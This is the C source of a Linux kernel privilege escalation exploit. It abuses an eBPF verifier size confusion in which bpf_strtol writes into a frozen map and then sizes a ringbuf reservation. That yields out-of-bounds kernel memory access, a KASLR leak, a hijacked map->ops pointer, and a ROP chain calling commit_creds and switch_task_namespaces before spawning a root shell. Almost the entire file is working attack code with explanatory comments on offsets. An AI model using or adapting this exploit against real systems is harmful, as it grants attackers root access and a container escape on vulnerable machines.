#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include "bpf_defs.h"
#include "kernel_defs.h"
#include "exploit_configs.h"

char *ringbuf_data = NULL;
uint64_t kernel_off = 0;
unsigned long user_cs,user_ss,user_rsp,user_rflags;

void shell(void) {
	printf("ret2usr success! uid : %d\n",getuid());
	char *args[] = {"/bin/sh", "-i", NULL};
	execve(args[0], args, NULL);
}

static void save_state() {
        asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory");
}



int create_bpf_maps(exploit_context* pCtx)
{
    int ret = -1;
    int map_array = -1;
    int map_array2 = -1;
    int ringbuf_map_fd1 = -1;
    //Step 1 Create map A
    union bpf_attr map_attrs1 =
    {
        .map_type = BPF_MAP_TYPE_ARRAY,
	.map_flags = BPF_F_RDONLY_PROG,
        .key_size = 4,
        .value_size = 0x10000,
        .max_entries = 1,
    };
    
    map_array = create_map(&map_attrs1);
    if( map_array < 0){
        printf("[-] failed to create bpf array map!\n");
        goto done;
    }
    //Step 2 Create map B
    union bpf_attr map_attrs2 =
    {
        .map_type = BPF_MAP_TYPE_RINGBUF,
        .key_size = 0,
        .value_size = 0,
        .max_entries = 0x4000,
    };
    ringbuf_map_fd1 = create_map(&map_attrs2);
    if( ringbuf_map_fd1 < 0){
        printf("[-] failed to create bpf ring map!\n");
        goto done;
    }
    //Step 3 Create map C
    union bpf_attr map_attrs3 =
    {
        .map_type = BPF_MAP_TYPE_ARRAY,
        .key_size = 4,
        .value_size = 0x10000,
        .max_entries = 1,
    };
    map_array2 = create_map(&map_attrs3);
    if( map_array < 0){
        printf("[-] failed to create bpf array map!\n");
        goto done;
    }
    pCtx->map_array = map_array;
    pCtx->map_array2 = map_array2;
    pCtx->ringbuf_map_fd1 = ringbuf_map_fd1;
    
    ringbuf_data = mmap(NULL, 0x7000, PROT_READ, MAP_SHARED, ringbuf_map_fd1, 0);
    printf("ringbuf_data : %p\n", ringbuf_data);
    ret = 0;
    //Step 4 Update the element 0 of map B
    char *data = malloc(0x10000);
    memset(data, 0, 0x10000);
    
    char *str = "4096";
    memcpy(data, str, sizeof(str));
    *(uint64_t *)(&data[0x10]) = 0x40000;
    update_map_element(pCtx->map_array, 0, data, 0);
    //Step 5 frozen map A
    freeze_map(pCtx->map_array);
done:
    printf("create map success\n");
    return ret;
}


void step1(exploit_context* pCtx){
    //Step 6 run following ebpf code
    struct bpf_insn insn[] =
    {	
	//ebpf step 1 : alloc memory from map B, we assume it memory A 
	//prepare first
	BPF_LD_MAP_FD(BPF_REG_1, pCtx->ringbuf_map_fd1),
        BPF_MOV64_IMM(BPF_REG_2, 0x2800),
        BPF_MOV64_IMM(BPF_REG_3, 0),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve), //call bpf_ringbuf_reserve
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),//If ringbuf_reserve return 0, just return. Otherwise, continue(jmp to step2).
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
	//ebpf step 2 : Get element 0 memory of map A. We assume it memory B
	BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

	BPF_LD_MAP_FD(BPF_REG_1, pCtx->map_array),
        BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_2, -0x10), //BPF_REG_10 is stack pointer and we're using BPF_REG_10-0x10 as storage
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x10),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 5), //If map_lookup_elem return 0, just release the ringbuf we alloc. Otherwise, continue(jmp to step3).
	BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_submit),//We must call bpf_ringbuf_submit for all the buf we alloc by bpf_ringbuf_reserve, otherwise the verifier will refuse to load the program.
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
	//ebpf step 3 : trigger the vulnerability to modify memory B + 0x10.
	BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),
	BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
	BPF_MOV64_IMM(BPF_REG_2, 0x10),
	BPF_MOV64_IMM(BPF_REG_3, 0),
	BPF_MOV64_REG(BPF_REG_4, BPF_REG_0),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_4, 0x10),
	BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_strtol),
	//ebpf step 4 : Load `memory B+0x10` and call `ringbuf_reserve`, we get another memory. We assume it memory C.
	BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0x10),
	
	BPF_LD_MAP_FD(BPF_REG_1, pCtx->ringbuf_map_fd1),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_7),
        BPF_MOV64_IMM(BPF_REG_3, 0),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 5),
	BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_submit),
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
	//ebpf step 5 : verifier thinks sizeof(memory C) = 0x40000, but in fact, sizeof(memory C) = 0x1000. We can do OOB read and write of memory C.
	BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
	//ebpf step 6 : Get map C's ops and rcu 
	BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0x67f0),//Get map -> ops, the address of array_map_ops; Get the offset from debugging.
	//Why is it 0x67f0? Because the offset between map B's struct bpf_ringbuf and map C's struct bpf_array is 0xb000 (why 0xb000, please read the function bpf_ringbuf_alloc). In the first step, we applied for 0x2800 of memory through bpf_ringbuf_reserve, so when we apply for it again through bpf_ringbuf_reserve, the memory requested should be at bpf_ringbuf->data[0x2810] (why 0x2810? Because there are two BPF_RINGBUF_HDR_SZ). At this point, we can conclude that the offset of map C's struct bpf_array.map.ops from our current buffer is 0xb000-0x2810-offset(strcut bpf_ringbuf, data) = 0x67f0. 
	BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_0, 0x67f0 + BPF_ARRAY_MAP_OFFS_RCU), //Get map ->rcu list. It is a two-way pointer pointing to itself. We will use when overwriting map->ops;  
	//ebpf step 7 : Change `map C -> ops` to `&map C->value`
	BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, BPF_ARRAY_OFFS_VALUE - BPF_ARRAY_MAP_OFFS_RCU),//Get bpf_array->value address. We put the map->ops here.
	BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_2, 0x67f0), //Overwrite map->ops to bpf_array->value.
	//Now we try to overwrite map->ops->map_delete_elem
	BPF_LD_IMM64(BPF_REG_3, ARRAY_MAP_OPS_OFF),
	BPF_ALU64_REG(BPF_SUB, BPF_REG_1, BPF_REG_3), //calculate off to bypass ASLR
	BPF_LD_IMM64(BPF_REG_3, POP_RBX_RET),
	BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_1), //calculate first gadget address
	
	//Now overwrite map->ops->map_delete_elem
	BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_3, 0x67f0+BPF_ARRAY_OFFS_VALUE+BPF_MAP_OPS_OFFS_MAP_DELETE_ELEM), //0x110 = offset(bpf_array, value), 0x70 = offset(bpf_map_ops, map_delete_elem)
	//We need to jmp to ROP in next program because of the code in verifier.c:19230(patch_map_ops_generic)
	//store the kernel off for next step
	//ebpf step 8 : Store the obtained kaslr offset into `memory A` for subsequent use.
	BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_1, 0), 
	//Exit
	BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_8),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_submit),

	BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_submit),
        BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 */
        BPF_EXIT_INSN(),
    };
    if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL))
    {
        printf("[-] failed to run eBPF program!\n");
	getchar();
        exit(0);
    }
    printf("Finish run step1 code!\n");
    printf("Get leak : %llx\n %llx\n %llx\n %llx\n", *(uint64_t *)(&ringbuf_data[0]), *(uint64_t *)(&ringbuf_data[0x1000]), *(uint64_t *)(&ringbuf_data[0x2000]), *(uint64_t *)(&ringbuf_data[0x2008]));
    /*why 0x2008 ?
    Because the struct bpf_ringbuf and function ringbuf_map_mmap_kern:
    struct bpf_ringbuf {
	...
    	unsigned long consumer_pos __aligned(PAGE_SIZE);
	unsigned long producer_pos __aligned(PAGE_SIZE);
	unsigned long pending_pos;
	char data[] __aligned(PAGE_SIZE);
};
    static int ringbuf_map_mmap_kern(struct bpf_map *map, struct vm_area_struct *vma)
{
	...
	return remap_vmalloc_range(vma, rb_map->rb,
				   vma->vm_pgoff + RINGBUF_PGOFF);
}
#define RINGBUF_PGOFF \
	(offsetof(struct bpf_ringbuf, consumer_pos) >> PAGE_SHIFT)
     So when we mmap a ringbuf, here is the memory we get because of '__aligned(PAGE_SIZE)':
     0: consumer_pos
0x1000: producer_pos
0x2000: data
     why 0x2008 not 0x2000? because we get hdr + BPF_RINGBUF_HDR_SZ in bpf_ringbuf_reserve. So position 0x2000 will be header and 0x2008 will be the data we write.
     * */
    kernel_off = *(uint64_t *)(&ringbuf_data[0x2008]);
}

void step2(exploit_context* pCtx){
    //step 7 : Run another eBPF program
    struct bpf_insn insn[] =
    {
	//ebpf step 1 : Store the ROP gadget on the stack
	//Pad stack
	BPF_LD_IMM64(BPF_REG_0, kernel_off + POP_RDI_RET),
	BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0xa8),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + INIT_CRED),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0xa0),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + COMMIT_CREDS),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x98),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + POP_RDI_RET),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x90),
	BPF_LD_IMM64(BPF_REG_0, 1),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x88),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + FIND_TASK_BY_VPID),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x80),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + MOV_RDI_RAX_POP_RBX_RET),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x78),
	BPF_LD_IMM64(BPF_REG_0, 0),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x70),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + POP_RSI_RET),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x68),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + INIT_NSPROXY),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x60),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + SWITCH_TASK_NAMESPACES),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x58),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + SWAGPGS_RET),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x50),
	BPF_LD_IMM64(BPF_REG_0, kernel_off + IRETQ),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x48),
	BPF_LD_IMM64(BPF_REG_0, (uint64_t)shell),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x40),
	BPF_LD_IMM64(BPF_REG_0, user_cs),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x38),
	BPF_LD_IMM64(BPF_REG_0, user_rflags),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x30),
	BPF_LD_IMM64(BPF_REG_0, user_rsp|8),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x28),
	BPF_LD_IMM64(BPF_REG_0, user_ss),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -0x20),
	//ebpf step 2 : Jmp to gadget
        //Now we jmp to map->ops->map_delete_elem
        BPF_LD_MAP_FD(BPF_REG_1, pCtx->map_array2),
        BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_2, -0x10),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x10),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_delete_elem),
        //Exit
        BPF_MOV64_IMM(BPF_REG_0, 0), 
        BPF_EXIT_INSN(),
    };
    if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL))
    {
        printf("[-] failed to run eBPF program!\n");
        getchar();
        exit(0);
    }
    printf("Finish run step2 code!\n");
}

int main(int argc, char **argv)
{
    save_state();
    exploit_context ctx = {0};
    //First, create the target ringbuf map
    printf("uid : %llx\n", getuid());
    if(0 != create_bpf_maps(&ctx))
    {
        printf("[-] failed to create bpf maps!\n");
        goto done;
    }
    
    step1(&ctx);
    step2(&ctx);
    printf("Finish!\n");
    printf("getuid() :%llx\n", getuid());
    while(1);
done:
    return 0;
}
